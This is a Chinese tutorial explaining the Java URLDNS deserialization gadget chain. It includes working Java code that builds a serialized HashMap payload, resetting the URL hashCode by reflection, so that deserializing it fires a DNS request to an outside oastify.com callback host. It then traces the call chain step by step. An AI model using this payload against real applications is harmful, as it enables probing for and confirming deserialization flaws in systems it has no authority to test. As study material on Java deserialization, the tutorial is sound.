URLDNS
当我们对一个类进行反序列化操作的时候,会调用该类的readObject方法,
Demo serializeTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package Test;
import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class serializeTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(obj); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL,Integer> hashMap = new HashMap<>(); URL url = new URL("http://jm97wyv7516bpv5b21bar09naeg54u.oastify.com"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,123); hashMap.put(url,1); hashcodefield.set(url,-1); serialize(hashMap); } }
|
Demo unserializeTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package Test;
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class unserializeTest { public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object object = objectInputStream.readObject(); return object; }
public static void main(String[] args) throws IOException, ClassNotFoundException { unserialize("ser.bin"); } }
|
调用链如下
1 2 3 4 5 6
| 1. HashMap->readObject() 2. HashMap->hash() 3. URL->hashCode() 4. URLStreamHandler->hashCode() 5. URLStreamHandler->getHostAddress() 6. InetAddress->getByName()
|
由于进行了反序列化操作,所以会触发反序列化类的readObject方法,调用了hash方法,继续跟踪
调用hashcode方法,由于我们传入的是url,所以直接找url类的hashcode方法
注意判断,如果hashcode等于-1,才会调用this.handler.hashCode
进入hashcode方法,发现调用了getHostAddress,参数即我们要发送dns请求的地址
调用getbyName方法,发送dns请求
在但给map进行赋值的时候,会用到put方法
put方法也会调用hash方法,进而将整条链子走了一遍,导致hashcode不为-1
就导致在这里不会触发hashcode,进而执行失败,所以在序列化前我们需要将hashcode反射赋值回-1,这样才有了我们上边的那条链子